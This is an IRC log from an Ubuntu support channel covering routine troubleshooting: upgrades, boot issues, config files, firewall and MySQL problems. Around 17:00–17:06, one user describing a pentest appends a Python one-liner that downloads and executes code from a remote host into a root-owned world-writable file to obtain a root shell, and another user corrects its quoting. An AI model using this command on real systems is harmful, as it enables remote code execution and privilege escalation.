[15:44] <Menzador> brianhunter - probably [ lspci | grep -i video ]
[15:44] <alkisg> brianhunter: which software? I would first try with 'vesa' graphics driver, to verify it's not a driver issue...
[15:44] <jstarcher> vnai: yea I ran all updates and restarted. I'm on snapd 2.20.1
[15:45] <jstarcher> oh wait this is weird
[15:45] <jstarcher> The following packages have been kept back:
[15:45] <jstarcher>   snapd ubuntu-core-launcher
[15:45] <jstarcher> hmm
[15:45] <k1l_> jstarcher: sudo apt full-upgrade
[15:46] <jstarcher> k1l_: that will put me on 16.10 though right?
[15:46] <k1l_> jstarcher: no
[15:46] <brianhunter> alkisg: It's an nvidia card.  I've tried both open source and propriety.  Doesn't happen all the time, and tends to happen when I have a video playing on one monitor, and I am doing something else on the other.  Particuarly happens when I open a new video, or play a gif, on the second monitor.
[15:46] <vnai> jstarcher: you have to get a livepatch token from canonical's website
[15:46] <k1l_> jstarcher: ubuntu doesnt use apt to change the ubuntu release
[15:46] <vnai> jstarcher: then  do sudo canonical-livepatch enable <token>
[15:46] <jstarcher> k1l_: ah okay, I'll try this. Thanks!
[15:47] <alkisg> brianhunter: I would try with xvesa instead of nvidia/nouveau, to see if it doesn't have the issue
[15:47] <jeffreylevesque> anyone using xscreensaver?
[15:47] <brianhunter> alkisg: thanks, I'll try that.
[15:47] <jeffreylevesque> the screensaver works
[15:48] <jeffreylevesque> but, i want to enforce password unlock
[15:48] <vnai> jstarcher: no you will still be on 16.04 . It will upgrade kernel also
[15:48] <jstarcher> got me a bit further
[15:48] <vnai> apt upgrade doesn't upgrade kernel and graphics core. full-upgrade does all
[15:48] <jstarcher> I see now
[15:48] <jstarcher> looks like that was the trick
[15:49] <jstarcher> was missing the core snap and a few other things that got borked during install but fixing that now
[15:49] <k1l_> to be more precise: apt uppgrade doesnt update packages that need to install and remove other packages. that is what blocks kernel updates or other significant updates.
[15:51] <jstarcher> maekse sense now
[15:51] <jstarcher> Successfully enabled device :)
[15:53] <ThiagoCMC> aIRC2012
[15:53] <ThiagoCMC> Ahh!
[15:53] <ChadTaljaardt> anyone know how to fix my issue :/
[15:53] <ThiagoCMC> sorry
[15:53] <k1l_> ChadTaljaardt: so the install worked but it doesnt boot? did you use nomodeset on the install boot, too?
[15:54] <heshg> Hi... Here's one I'd like to get some insights on. I am running Ubuntu 16.04 with the 4.4.0-59-generic kernel on a Dell Inspiron 3000 14 laptop fitted with 8gb of ram. For the last three mornings I've awakened to a root file system (ext4) in read-only mode.
[15:54] <heshg> Running fsck at pre-boot first complains about the presence of "inodes that were a part of a corrupted orphan link." Fsck then fixes everything up leaving me with a clean fs. I reboot and work all day, no problems.
[15:54] <heshg> I looked at my syslog and kern.log file where nothing stood out as a red flag, but then again after the fs goes ro I would assume I wouldn't see any more messages until I rebooted.
[15:54] <heshg> Any suggestion would be appreciated?
[15:55] <ChadTaljaardt> no i cant even get it installed
[15:55] <ChadTaljaardt> @k1l_
[15:56] <k1l_> !nomodeset | ChadTaljaardt
[15:56] <k1l_> that got a howto to make it work with nomodeset for installer
[15:56] <ChadTaljaardt> ive done that k1l_ but it never worked
[15:57] <ChadTaljaardt> i booted from a live usb, pressed a key at the purple screen, input English, pressed f6 and selected nomodeset and then pressed esc and then install
[15:57] <ChadTaljaardt> got a black screen after
[15:57] <k1l_> did you activate nomodeset before pressing esc on that menue?
[15:57] <ChadTaljaardt> yes
[15:58] <ChadTaljaardt> there was a little x next to it :)
[15:58] <divisini> Hey, can anyone help with getting the integrated webcam on a HP Elitebook 810 G3 working/to even be detected? I've tried everything I know, and am at wit's end.
[15:58] <vilva> hi, does someone have any pointers where to find a minimum/optimal kernel config for a ubuntu 14 server guest (kernel 4.2) on vmware host?
[15:59] <k1l_> ChadTaljaardt: people on the internet say it works when you use nomodeset
[16:01] <ChadTaljaardt> k1l_ i dont know what to do becuase its not working for me :/
[16:04] <k1l_> ChadTaljaardt: can you remove "quiet splash" from the menue there so it shows the error?
[16:04] <ChadTaljaardt> ill look
[16:04] <k1l_> ChadTaljaardt: and do you have any adapter involved for the videocard and monitor?
[16:06] <ChadTaljaardt> im testing it now k1l_
[16:06] <ChadTaljaardt> and no
[16:07] <ChadTaljaardt> its connected through hdmi
[16:08] <k1l_> the usb is working correctly on other systems?
[16:09] <k1l_> (did you check the md5sum)
[16:10] <k1l_> ChadTaljaardt: you could look if its an uefi issue and disable secureboot or use the legacy mode
[16:10] <k1l_> ChadTaljaardt: see http://askubuntu.com/questions/162075/my-computer-boots-to-a-black-screen-what-options-do-i-have-to-fix-it/162076#162076
[16:11] <ChadTaljaardt> the adapter isnt the issue
[16:11] <ChadTaljaardt> becuase it works totally find if i use 16.10
[16:11] <ChadTaljaardt> i mean the usb *
[16:11] <ChadTaljaardt> its only a error with 16.04 and this has been like this for a few months
[16:12] <k1l_> ChadTaljaardt: then use 16.10, there will be a newer kernel when 16.04.2 is released
[16:12] <amazoniantoad> Hey my computer is unbelievably slow. Can someone help me figure out how to speed it up? I have 8gb of memory and an i5 4th gen processor. It shouldn't be freezing so much
[16:12] <amazoniantoad> It freezes up for 5-10 minutes at a time
[16:12] <ChadTaljaardt> im trying the noalp and nolapic thing in the link you sent
[16:13] <ChadTaljaardt> got a wall of white text, there is a kernal panic
[16:13] <ChadTaljaardt> "Kernal panic - not syncing: Attempted to kill init! exitcode=0x0"
[16:13] <RxMcDonald> anyone knows how to fix a broken computer program? it broke on the inside
[16:14] <Southern_Gentlem> RxMcDonald, yes remove the broken part and replace
[16:14] <makitoro> hey does anyone know how to make apt-get go to the proxy only when it is available? Something like this, but for servers with /etc/network/interfaces controlled networking? http://askubuntu.com/questions/248996/howto-use-apt-cacher-ng-only-when-available
[16:14] <RxMcDonald> Southern_Gentlem: do i need to open the computer?
[16:14] <Southern_Gentlem> yes
[16:14] <ppf> no
[16:15] <ppf> RxMcDonald: what's broken and how is it broken
[16:16] <Southern_Gentlem> excuse me i didnt see the program i saw broken computer
[16:17] <amazoniantoad> If I open a new tab in a browser the browser freezes. Click on the volume button on my desktop, computer freezes. Press the home key? Computer freezes
[16:17] <amazoniantoad> It's unbearable
[16:18] <ChadTaljaardt> k1l_  i get another issue with 16.10 beign that my mouse pointer image doesnt move
[16:18] <ChadTaljaardt> so i cant see where my cursor is
[16:19] <k1l_> ChadTaljaardt: after resume from suspend?
[16:19] <ChadTaljaardt> nope, at any point
[16:19] <k1l_> using autologin?
[16:19] <mp1111> hi all
[16:19] <ChadTaljaardt> i install it and the picture for the cursor is at the top left corner, and i cant ever get it to move with the cursor
[16:20] <ChadTaljaardt> what do you mean autologin?
[16:20] <k1l_> ChadTaljaardt: so its acting like that on lightdm (the login screen)
[16:20] <ChadTaljaardt> yeah
[16:20] <mp1111> anyone know how to increase net.netfilter.nf_conntrack_max in ubuntu 16.04? I tried following the following guide, but it does not work. http://antmeetspenguin.blogspot.ca/2011/01/high-performance-linux-router.html#!/2011/01/high-performance-linux-router.html
[16:21] <k1l_> ChadTaljaardt: does it work when you login to the desktop?
[16:21] <ChadTaljaardt> the mouse works, like i can move it and figure out where it is based on the buttons highlighting when i hover over it, but the image for the cursor never moves
[16:21] <k1l_> ChadTaljaardt: so please log out then. then after again logging in on the login screen, see if it works on the desktop then
[16:22] <k1l_> ChadTaljaardt: or press "ctrl+alt+f1" and then "ctrl+alt+f7" to get back to the desktop
[16:22] <Mahpoul22> yo
[16:22] <ChadTaljaardt> im installing 16.10 right now so give me a few minutes so i can test it all
[16:23] <ChadTaljaardt> it doesnt even work on the login screen, i have to tab to get the options on everything
[16:23] <phrearch> hello. im a bit confused about libortp versioning. the sourcecode of ortp has tags from 0.16.5 to 0.27.0, but when i check the current version in ubuntu, it says libortp9 3.6.1
[16:23] <ChadTaljaardt> i mean install screen
[16:23] <phrearch> what is it?
[16:23] <ChadTaljaardt> not login haha
[16:23] <phrearch> according to https://launchpad.net/ubuntu/trusty/armhf/libortp9/3.6.1-2.1build2, its the same library from linphone
[16:24] <ChadTaljaardt> i can try take a video if you want, might help explain whats happening
[16:25] <mp1111> anyone know how to increase net.netfilter.nf_conntrack_max in ubuntu 16.04? I tried following the following guide, but it does not work. http://antmeetspenguin.blogspot.ca/2011/01/high-performance-linux-router.html#!/2011/01/high-performance-linux-router.html
[16:25] <k1l_> ChadTaljaardt: try changing to tty1 and back
[16:26] <ChadTaljaardt> ill finish installing first :D
[16:27] <ChadTaljaardt> tried it while im installing, presing ctrl+alt+f7 and then ctrl+alt+f1
[16:27] <ChadTaljaardt> made no difference
[16:27] <k1l_> ChadTaljaardt: the new nvidias are known to make issues
[16:27] <lopas> hello , how can i read this http://pastebin.com/DkeaBRcm ?
[16:30] <k1l_> ChadTaljaardt: i dont know how to fix that, you will need to look if others with that new nvidia cards solved it. i need to go afk a bit
[16:30] <ppf> lopas: with in-depth knowledge about what you're looking at/for
[16:31] <lopas> ppf i was running a file into a memory
[16:31] <lopas> ppf i debugger it and i get this
[16:31] <lopas> ppf i just want to read this
[16:32] <ppf> well then read it. it's a bunch of binary data
[16:33] <ChadTaljaardt> k1l_ Thanks for your help, im just installing so i can test some of the methods ive heard
[16:33] <lopas> ppf can u read it to me and pastebin it ?
[16:34] <ppf> lopas: no i can't, i have no idea what i'm looking at
[16:35] <lopas> ppf can i pm you?
[16:35] <ppf> !pm
[16:40] <Ilyas> so, I tried installing SNMP agent(snmp ?) and it worked, but I dont have an  /etc/snmp/snmp.conf file
[16:40] <Ilyas> how come ?
[16:40] <Ilyas> even removing the package and reinstalling it didnt provide me with one
[16:41] <ppf> Ilyas: did you mean to install snmpd instead?
[16:41] <Ilyas> ppf: most likely, which I also did
[16:42] <Ilyas> but I also dont have a /etc/snmp/snmpd.conf
[16:42] <plujon> Greetings!  I'm curious whether Ubuntu 14.04 or Ubuntu 16.04, or some other version, is most popular as of today among desktops users. Any way I can find this out?
[16:42] <ppf> dpkg -L snmp
[16:43] <ppf> plujon: if you're asking which one we recommend to a newcomer: go with 16.04
[16:43] <networks> Hello. I was looking into my Networks folder in Ubuntu, and I noticed three icons to networks that I don't recognize. Yesterday I noticed just one (a different form today's ones). I am wondering, what does that mean? How should I interpret the contents of the Networks folder? Should I worry it is something malicious? Tx in advance
[16:43] <plujon> ppf: Thanks; I'm curious about actual usage statistics.
[16:43] <Ilyas> ppf: https://paste.ubuntu.com/23864085/
[16:44] <ppf> plujon: i'm no sure there's a comprehensive statistic on that
[16:44] <ppf> there's no central entity is gathering that data
[16:45] <ppf> Ilyas: says the conf file is there
[16:45] <plujon> ppf: What about popularity contest?  It only measures packages, not major OS versions?
[16:45] <ppf> did you delete it?
[16:45] <Ilyas> ppf: https://paste.ubuntu.com/23864094/ also sayt it shoudl be there but
[16:46] <Ilyas> ppf: maybe in the paste, I can't recall
[16:46] <Ilyas> but, a remove/install would fix that, no?
[16:46] <networks> Oh, it is just Network folder, without the s. Can anyone shed some light, please?
[16:46] <ppf> Ilyas: reinstall doesn't overwrite config files, normally
[16:46] <ppf> sudo apt-get -o Dpkg::Options::="--force-confmiss" install --reinstall [...]
[16:48] <Ilyas> ppf: https://paste.ubuntu.com/23864117/ I think it worked :)
[16:48] <networks> Anyone available?
[16:48] <Ilyas> dunno what the runlevel errors are btw
[16:48] <Ilyas> at the end
[16:49] <Ilyas> hm....no, they are not there. well, will cotinue tomorrow. Thanks so far ppf !
[16:50] <mp1111> I'm trying to figure out how to change the net.ipv4.netfilter.ip_conntrack_max (Ubuntu 16.04) but I havent had any success. Anyone know how.
[16:52] <ppf> mp1111: using sysctl
[16:53] <cwsaf> I'm using an ubuntu on a USB(Try Ubuntu feature), how can I install it onto that USB ?!!
[16:54] <cwsaf> usb doesn't load in the "Device for boot loader installation".
[16:56] <alkisg> cwsaf: you want to boot from usb and install to that same usb? that can't work, since it's being used...
[16:57] <cwsaf> @alkisg Tnx, How about use 2 different USBs ?
[16:58] <alkisg> cwsaf: that's doable, yes
[16:59] <alkisg> cwsaf: it's also possible to use one usb with 2 partitions, but it's tricky to do it, better use 2
[16:59] <cwsaf> alkisg tnx tnx tnx and tnx @alkisg <3
[16:59] <alkisg> :)
[17:00] <fr0sty_101_> hi, anyone know a way to get tty working on a ubuntui box? Im currently conencted remotely and need to modify a file
[17:00] <fr0sty_101_> python -c "import urllib2; r = urllib2.urlopen('http://192.168.254.10:8080/'); exec(r.read());"
[17:00] <fr0sty_101_> this is what im trying to do...
[17:00] <fr0sty_101_> add this to a file called connect.py that already exists
[17:01] <ppf> fr0sty_101_: okay?
[17:01] <networks> How can I get some help around here?
[17:01] <fr0sty_101_> ppf: so when i do .. echo >> "python -c "import urllib2; r = urllib2.urlopen('http://192.168.254.10:8080/'); exec(r.read());"" connect.py
[17:01] <fr0sty_101_> i get ...
[17:01] <networks> PLEASE
[17:02] <fr0sty_101_> /bin/sh: 3: Syntax error: "(" unexpected
[17:02] <Pici> fr0sty_101_: why not just use your favorite editor from the terminal and modify the file?
[17:02] <henok> !queue http://www.speedtest.net/my-result/5997141300
[17:02] <fr0sty_101_> because i dont have that privilege
[17:02] <xXEoflaOEXx> networks, Do you have your Ubuntu question?
[17:02] <fr0sty_101_> i wish i could ...
[17:02] <Pici> fr0sty_101_: you can't run nano/vim?
[17:02] <fr0sty_101_> no
[17:03] <fr0sty_101_> or emacs
[17:03] <networks> xXEoflaOEXx: yes:I was looking into my Networks folder in Ubuntu, and I noticed three icons to networks that I don't recognize. Yesterday I noticed just one (a different form today's ones). I am wondering, what does that mean? How should I interpret the contents of the Networks folder? Should I worry it is something malicious? Tx in advance
[17:03] <fr0sty_101_> its from a reverse tcp connection from an 'nc'
[17:03] <ppf> fr0sty_101_: why not?
[17:03] <ppf> okay
[17:03] <ppf> what's the shell?
[17:03] <fr0sty_101_> sh
[17:03] <networks> xXEoflaOEXx: I In addition, I can't delete them...
[17:04] <networks> xXEoflaOEXx: I am wondering if this is regular behaviour or not
[17:04] <ppf> fr0sty_101_: which is? dash?
[17:04] <xXEoflaOEXx> networks, Did you unmount the unrecognized networks?
[17:04] <ppf> either way, try it this way:
[17:04] <Pici> fr0sty_101_: somewhat unrelated, but a command starting with 'python -c' doesn't really belong in a .py file, that looks like something that would be in a shell script
[17:05] <networks> xXEoflaOEXx: How do you mena? When I try to delete them, it says it is not possible bc they are not mounted, but I never did mount them
[17:05] <fr0sty_101_> Pici: im doing  apentest and this file 'connect.py' is owned by root but has 777 permissions therfore i can editied that file and execute a root shell back to my machine
[17:05] <fr0sty_101_> so im abusing a poorly configured file
[17:05] <ppf> >>connect.py echo 'python -c "import urllib2; r = urllib2.urlopen(\"http://192.168.254.10:8080/\"); exec(r.read());"'
[17:06] <xXEoflaOEXx> networks, so did the rebooting help?
[17:06] <networks> xXEoflaOEXx: I haven't tried rebooting. Are you suggesting I do so now?
[17:06] <fr0sty_101_> ppf: thanks that works lovely
[17:07] <networks> xXEoflaOEXx: But in any case, is there a good explanation why I would have them in the first place?
[17:09] <networks> xXEoflaOEXx: I mean, these don't seem to be the wifi networks
[17:09] <noc_> fr0sty_101_, the point is that you dit a setuid, writable executable (likely)
[17:09] <noc_> i.e. the power comes from the owner being root AND having setuid
[17:11] <one808> 323232
[17:11] <xXEoflaOEXx> networks, Because you might have to disconnect these network hosts that are not recognized from ethernet.
[17:12] <networks> xXEoflaOEXx: I have no physical ethernet cable connected now, or in the past few days...
[17:14] <one808> 333
[17:15] <one808> 333
[17:17] <one808> 33333
[17:23] <lol> help ! my android phone not connected to pc via usb cable.nothing is mounted.How to solve this?
[17:24] <root2> lol, has it being connecting before now?
[17:24] <xXEoflaOEXx> lol, Did you try to turn the device storage on in your phone
[17:24] <lol> root2: i never tried before
[17:24] <CrazyTux> which DE among Mate and Xfce one has more features that could make the OS more user friendly to a beginner?
[17:24] <lol> yup
[17:25] <lol> root2: any additional driver need to install?
[17:28] <xXEoflaOEXx> lol, You need to install the most appropriate USB drivers for your phone model.
[17:29] <lol> xXEoflaOEXx: ok . but from additional driver center or from any other source.
[17:29] <lol> ?
[17:30] <xXEoflaOEXx> lol, You need to download these drivers from official sources, such as Google, and if not found, try it on other sources.
[17:30] <lol> xXEoflaOEXx: ok . thank you.
[17:31] <dvdmuckle> hey, i asked this question a couple of days ago
[17:31] <xXEoflaOEXx> lol, You are welcome!
[17:31] <dvdmuckle> i run a lab of 20 some odd computers with ubuntu, and for some reason we've been having problems with lightdm authing with ldap
[17:32] <dvdmuckle> if someone logs in to ubuntu on one machine, it works fine, but if someone logs in to another machine, the first machine freezes on the desktop (mouse can still move but user can't start applications), and the second machine doesn't even log in to the desktop
[17:32] <dvdmuckle> if the first machine is "choked" (power button held until machine turns off), the second machine logs in fine
[17:33] <dvdmuckle> other display managers work, but they aren't perfect (gdm doesn't work on every machine, lxdm and slim don't show the whole top menu)
[17:40] <overrun> 14.04 server reports that Hardware Enablement Stack is no longer supported but I want to stay on 14.04; if I run apt-get install linux-image-generic-lts-xenial, will I need to recompile software that was compiled manually from source?
[17:42] <nacc> overrun: which hwe stack were you on?
[17:43] <nacc> overrun: https://wiki.ubuntu.com/Kernel/LTSEnablementStack, currently, only 14.04.1 and 14.04.5 are supported. See the instructions for trusty. I'm not sure why switching the kernel and X stack would require you to recompile any software, unless your software is a kernel module (off the top of my head)
[17:44] <overrun> nacc
[17:44] <overrun> nacc how to I tell which one?
[17:45] <overrun> nacc the main software of concern would be PostgreSQL
[17:45] <jpmh> I have a file, ls shows as: -rwxrwxrwx 1 jpmh jpmh 22 Jan 25 10:41 /home/jpmh/zipcodes/temp.fil - I am on as jpmh but rm gives me "rm: cannot remove '/home/jpmh/zipcodes/temp.fil': Permission denied".  I know I'm going to feel silly here.  WHat am I missing?
[17:46] <jpmh> never minde - directory was 500 - oops
[17:48] <xXEoflaOEXx> jpmh, Did you run sudo rm /home/jpmh/zipcodes/temp.fil?
[17:48] <jpmh> xXEoflaOEXx: - see my comment - it was the permissions on the zipcodes directory
[17:49] <nacc> overrun: iirc, `lsb_release -a` should tell you, but that is dependent on packages. You can also look at what `uname -r` says for the running kernel and compare to the table on that page
[17:49] <nacc> overrun: postgresql built from source rather than from ubuntu?
[17:49] <nacc> overrun: postgres should not be affected by changing the kernel or X stack(s) (that's all HWE covers)
[17:50] <xXEoflaOEXx> jpmh, It might be the permissions issue. Did you try to chmod 777 /home/jpmh/zipcodes/temp.fil?
[17:51] <nacc> xXEoflaOEXx: i think it's pretty clear jpmh fixed their issue already?
[17:51] <overrun> nacc thx; these are headless so no X; production server uname -r says 3.19.0-79-generic and when I ran the apt-get install linux-image-generic-lts-xenial on a dev server it now reports 4.4.0-59-generic
[17:51] <xXEoflaOEXx> nacc, OK, I know.
[17:52] <jpmh> nacc: and xXEoflaOEXx ty - YES - it was directory permissions - see my own comments - told you I would feel silly
[17:52] <nacc> overrun: 3.19 was 14.04.3, yep
[17:54] <overrun> this whole HWE thing is confusing when you see LTS is supported through YYYY; this came from highest available OS selections in Google Cloud Instances at the time
[17:56] <nacc> overrun: did you read that wiki page?
[17:56] <nacc> overrun: it's pretty clear for 14.04.x, although it's much more simple in 16.04.x, as there will only be one hwe stack (rolling forward with each dotrelease)
[17:59] <overrun> yes; just saying before this showed up on the servers we assumed minor updates through LTS EOL but it makes sense; glad it will have one stack going forward; we just need to do extensive tests before moving to 16.x
[18:00] <nacc> overrun: sounds like a bad assumption (and i think it was pretty clear, although not positive) in the various release announcements for each HWE stack, as well as HWE itself
[18:00] <PianoSkulls> hey
[18:01] <PianoSkulls> sometimes when I cut a paste a file/folder to a destination, the destination folder closes when the copying is done
[18:01] <PianoSkulls> why does it close?
[18:07] <OerHeks> PianoSkulls, never seen such action, this answer is interesting http://askubuntu.com/a/429427
[18:09] <budRich> hello people, i think i might have bricked my internal emmc storage when trying to install 17.04... I think this error from syslog is related: mmc1: error -84 whilst initialising MMC card
[18:09] <r00t_me_me0w> yoyo
[18:09] <OerHeks> !17.04
[18:09] <OerHeks> budRich, report in #ubuntu+1, please
[18:10] <budRich> OerHeks?
[18:10] <OerHeks> budRich, 17.04 is in alfa state, not released yet.
[18:11] <OerHeks> so for support, join that channel
[18:11] <r00t_me_me0w> those alphas
[18:11] <budRich> aha, thank you
[18:13] <budRich> yes i guess it was not so smart of me to be the first in the world to install that on this unit... I even used an alternate ubuntu version from linuxium (specialised for this kind of CPU...)
[18:14] <budRich> i mailed the dev at linuxium, he said there is a problem with 17.04 and encryption, and that i should reformat in gparted. but the card doesn\t show up at all now...
[18:14] <budRich> i have reported in other channel, waiting for response, just thought someone have some general idea or experience...
[18:15] <noc_> encryption/gparted/insgtallation work at layers above the "mmc error" you posted
[18:15] <noc_> likely they are not related
[18:17] <techo> help.I am unable to play video of this( http://www.hotstar.com/movies/languages/english/ ) website on my inbuilt mozilla browser on ubuntu 16.04 lts
[18:19] <hatchetjack> is there some magically way to turn off the firewall in ubuntu 16.04?
[18:20] <hatchetjack> we'ved tried everything we've found online and ports are still filtered
[18:20] <hatchetjack> magical
[18:20] <budRich> the gathreical
[18:20] <dvdmuckle> hatchetjack: if it's ufw, sudo ufw disable
[18:21] <dvdmuckle> if it's iptables... you could just clear those
[18:21] <dvdmuckle> it's probably ufw though
[18:21] <Ronald_Colombia> Hola a todos
[18:23] <hatchetjack> dvdmuckle: yeah we did that
[18:24] <hatchetjack> port 22 is still filtered according to nmap
[18:24] <hatchetjack> can't connect to it or telnet IP 22 or whatever
[18:26] <alkisg> hatchetjack: what's the output of sudo netstat -ntap ?
[18:26] <alkisg> and of `ps aux|grep ufw`?
[18:26] <hatchetjack> shows 22 listening
[18:26] <hatchetjack> something else weird is going on I think
[18:26] <hatchetjack> can connect from another machine
[18:27] <hatchetjack> wtf man
[18:27] <makitoro> How are these machines connected? All in the same router?
[18:27] <makitoro> All on the same ISP?
[18:28] <makitoro> you might have ports listening on a machine but something outside of it could be blocking ssh connections
[18:28] <alkisg> Or they may listen only on external IPs, while you're trying to connect to localhost
[18:28] <alkisg> That's what netstat would show us, if you shared its output
[18:35] <NotFred> is this working ?
[18:36] <NotFred> Fedora 25  just released .
[18:37] <NotFred> Has a great desktop
[18:37] <NotFred> more tools than this crap
[18:38] <goofer> not4Fred
[18:38] <goofer> how big is 10G?
[18:43] <nacc> goofer: what do you mean?
[18:46] <hydrajump> I have a usb drive with the ubuntu iso and a casper-rw partition for persistence. Before first boot of the usb drive the casper-rw partition is empty (As it should be). I tried pre-populating /etc/rc.local, but when you boot for the first time everything on casper-rw is overwritten.
[18:46] <goofer> no spikka da bot
[18:46] <hydrajump> is there a way to make my /etc/rc.local on the casper-rw partition be persistent on first boot or does this involve remastering the ISO to include the file form the start?
[18:48] <goofer> so you just create a partition and name it casper-rw?
[18:51] <goofer> if its got persistence why cant you add /etc/rc.local for subsequent boots?
[18:56] <hydrajump> goofer: yes that's a workaround, boot from USB drive, then add /etc/rc.local and it will persist.
[18:56] <hydrajump> However, I'd like to avoid having to boot once.
[18:57] <hydrajump> There must be a way to perhaps set a flag or something so that it's not overwritten
[18:57] <roothorick> "There's a problem with the install media" "Hey, can you install the newest mainline kernel to see if that still has the problem?" wat
[18:58] <mlw> Anyone familliar with the ubuntu-sdk seeing this error? ":-1: error: There was a error in the device detection of builder-i386, no IP address was returned."
[18:58] <nacc> roothorick: context?
[18:59] <roothorick> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1659075
[18:59] <roothorick> is that even possible?
[18:59] <jcjordyn120> isn't new packages in LTS releases only for bug fixes and security updates?
[18:59] <nacc> jcjordyn120: generally, yes.
[18:59] <roothorick> jcjordyn120: and support for new hardware
[18:59] <jcjordyn120> ah
[18:59] <roothorick> jcjordyn120: which is why there's 4.8 kernels as well as 4.4
[19:00] <AlexFromCanada> Hey, could anyone help connect to an EAP-TLS network? It's not working for me
[19:00] <jcjordyn120> I found a bug, I already did a bug report too.
[19:00] <AlexFromCanada> I'm actually on linux mint, but the people over on that irc are being a bit dickish
[19:01] <nacc> AlexFromCanada: unfortunately, !mint isn't supported here
[19:01] <AlexFromCanada> Yeah, but the help seems to be pretty general I think?
[19:02] <AlexFromCanada> Like I dont think its too distro specific
[19:02] <roothorick> AlexFromCanada: logically, that would mean you'd go to a distro-agnostic channel...
[19:02] <nacc> roothorick: well, you did mention in the bug (presuming you are the submitter) that the installed system (not live any longer) has the smae problem with a partial workarond?
[19:03] <roothorick> nacc: full workaround, actually, but the workaround involves a PPA or other third-party software
[19:03] <nacc> roothorick: ah ok
[19:03] <AlexFromCanada> Yeah I know, this channel was just pretty popular so I thought I'd give it a shot
[19:03] <AlexFromCanada> Do you see anything wrong with this? http://imgur.com/a/0rbEz
[19:04] <nacc> roothorick: so the HWE stack in 16.04.1 does or does not fix the issue?
[19:04] <conley> dpkg is, as always, making me long for death.  if anybody could help me out with this, I'd owe you my soul. http://askubuntu.com/questions/876188/iredmail-mysql-install-prompts-for-password-hangs
[19:04] <nacc> roothorick: it's probably just a misunderstanding in the bug report, we get lots of bug reports (particularly for the kernel)
[19:05] <roothorick> nacc: the HWE kernel is one half of the fix
[19:05] <roothorick> nacc: the other half is AMDGPU Pro or getting a newer libgl1-mesa-dri from a PPA
[19:05] <nacc> roothorick: what about the HWE X stack?
[19:07] <roothorick> nacc: what packages are that?
[19:08] <nacc> roothorick: honestly, not sure -- it used to be a well-named package for 14.04.x, not seeing it obviously yet
[19:09] <roothorick> I did search for other HWE packages in 16.04 and came up empty-handed
[19:11] <OerHeks> roothorick, wait for 16.04.2 .. https://wiki.ubuntu.com/Kernel/LTSEnablementStack#Ubuntu_16.04_LTS_-_Xenial_Xerus
[19:13] <roothorick> OerHeks: I don't see any mesa packages in the HWE roadmap... so at a cursory glance, .2 would be expected to have the same problem
[19:13] <alkisg> conley: try to purge them, then run `dpkg -l '*mysql*' | grep ^ii`
[19:13] <conley> aight
[19:13] <OerHeks> roothorick, ".2 would be expected to have the same problem" ???
[19:14]  * OerHeks facepalms
[19:14] <roothorick> OerHeks: the current hwe-16.04-edge kernel has the necessary kernel-side component but a newer Mesa DRI module is required as well
[19:14] <nacc> conley: or, try to install mysql-server manually, i've never seen a password prompt during the installation of the package
[19:14] <roothorick> OerHeks: so there'd need to be a libgl1-mesa-dri-hwe
[19:15] <conley> i really might as well just do that
[19:21] <conley> nacc: the installer i downloaded from their website isn't hanging up now upon asking for password
[19:21] <conley> but i have no idea what password it wants
[19:21] <conley> i've tried the machine's root and a pw i supplied the first time i tried to install it, neither worked
[19:23] <JeSTeRH4CK3D> hello
[19:24] <nacc> conley: i would not generally suggest typing root password's into prompts if you don't know where theya re coming from :)
[19:24] <Ralph_> conley you could try sudo su
[19:24] <conley> i mean fair enough
[19:24] <JeSTeRH4CK3D> if its a sudoers user sudo -s works as well lol
[19:24] <conley> there's not even anything of worth on this machine haha
[19:25] <Southern_Gentlem> conley, wipe it and move on
[19:25] <roothorick> I should add libgl1-mesa-dri as an affected package to that bug, shouldn't I?
[19:25] <conley> i think it is a password issue though, i have some LDAP stuff set up
[19:25] <conley> Southern_Gentlem: did that twice yesterday
[19:25] <JeSTeRH4CK3D> conley: you should secure your system right after install
[19:25] <nacc> conley: i'm guessing it's the software's installer script, not the package stuff
[19:26] <conley> what do you mean by secure?
[19:26] <JeSTeRH4CK3D> as yo remove the need for root user
[19:26] <JeSTeRH4CK3D> ok
[19:26] <JeSTeRH4CK3D> are you new to ubuntu?
[19:26] <conley> nacc: the same problem was going on with apt-get
[19:26] <JeSTeRH4CK3D> or *nix in genral?
[19:26] <conley> I've used mint for about 6 years now but it's really casual
[19:26] <conley> i can't remove root yet though because i haven't even been able to set anything up yet
[19:26] <conley> because every install fails haha
[19:27] <JeSTeRH4CK3D> i just finished a securing bash script
[19:27] <JeSTeRH4CK3D> :\
[19:27] <JeSTeRH4CK3D> if they allow me to post in here its on pastebin.com
[19:27] <nacc> conley: sorry? `apt-get install mysql-server` prompted you for a password?
[19:27] <conley> yes
[19:27] <conley> nacc: ^
[19:27] <Ralph_> COmpiled my own kernel and made it work on Microsoft Surface pro 4 lol
[19:27] <JeSTeRH4CK3D> NICE Ralph
[19:28] <Ralph_> But the first time to IRC
[19:31] <nacc> conley: just spun up a new 16.04 lxd container, installed mysql-server in it, no prompt (as root, which appears to be how you are running). You do a get a configuration curses prompt for the new 'root' MySQL user. Also, that p
[19:31] <Ralph_> conley - could you explane the issue and some setup, so I could help? lost root access?
[19:32] <conley> nacc: I did, i went through everything, it's just still messing up
[19:33] <conley> Ralph_: apt-get install mysql-server is asking me for a password for some ludicrous reason, then hanging
[19:33] <conley> i've tried many different ways to install it
[19:33] <conley> i mean i might just go ahead and cut my losses and reinstall, i have to go to class and i'm sick of dealing with this
[19:34] <roothorick> nacc: maybe he has existing MySQL data and wants the MySQL root user pwd?
[19:34] <conley> i have no MySQL data, no MySQL root user, nor any MySQL at all
[19:34] <conley> I have none of that because i can't even install mysql-server
[19:34] <elias_a> Is this a threat to a Ubuntu user with all the updates installed? https://www.theregister.co.uk/2017/01/25/linux_proxy_10_trojan/?mt=1485371248327
[19:35] <roothorick> that you know about :p I don't recall where it's stored but it's worth checking
[19:35] <Pici> conley: are you sure it isn't asking you to create the mysql root password?
[19:35] <conley> well, regardless of whether or not it is, it hangs
[19:35] <conley> i have to kill the process manually
[19:35] <conley> and any character I enter is echoed in plain text which implies curses isn't working and the process froze entirely, i'd assume
[19:35] <roothorick> elias_a: that requires the device to be compromised in the first place. So technically yes, but it's not something you explicitly defend against
[19:36] <nacc> roothorick: if by 'he' you mean conley, that's possible, but irrelevant to this discussion (afaict)
[19:36] <alkisg> conley: do things like vim or nano work properly?
[19:36] <conley> yeah
[19:36] <conley> alkisg: yes
[19:36] <alkisg> Do you have any DEBCONF variables set?
[19:36] <alkisg> ..in the environment?
[19:36] <elias_a> I'll answer myself: "devices that are running with default passwords" so probably not.
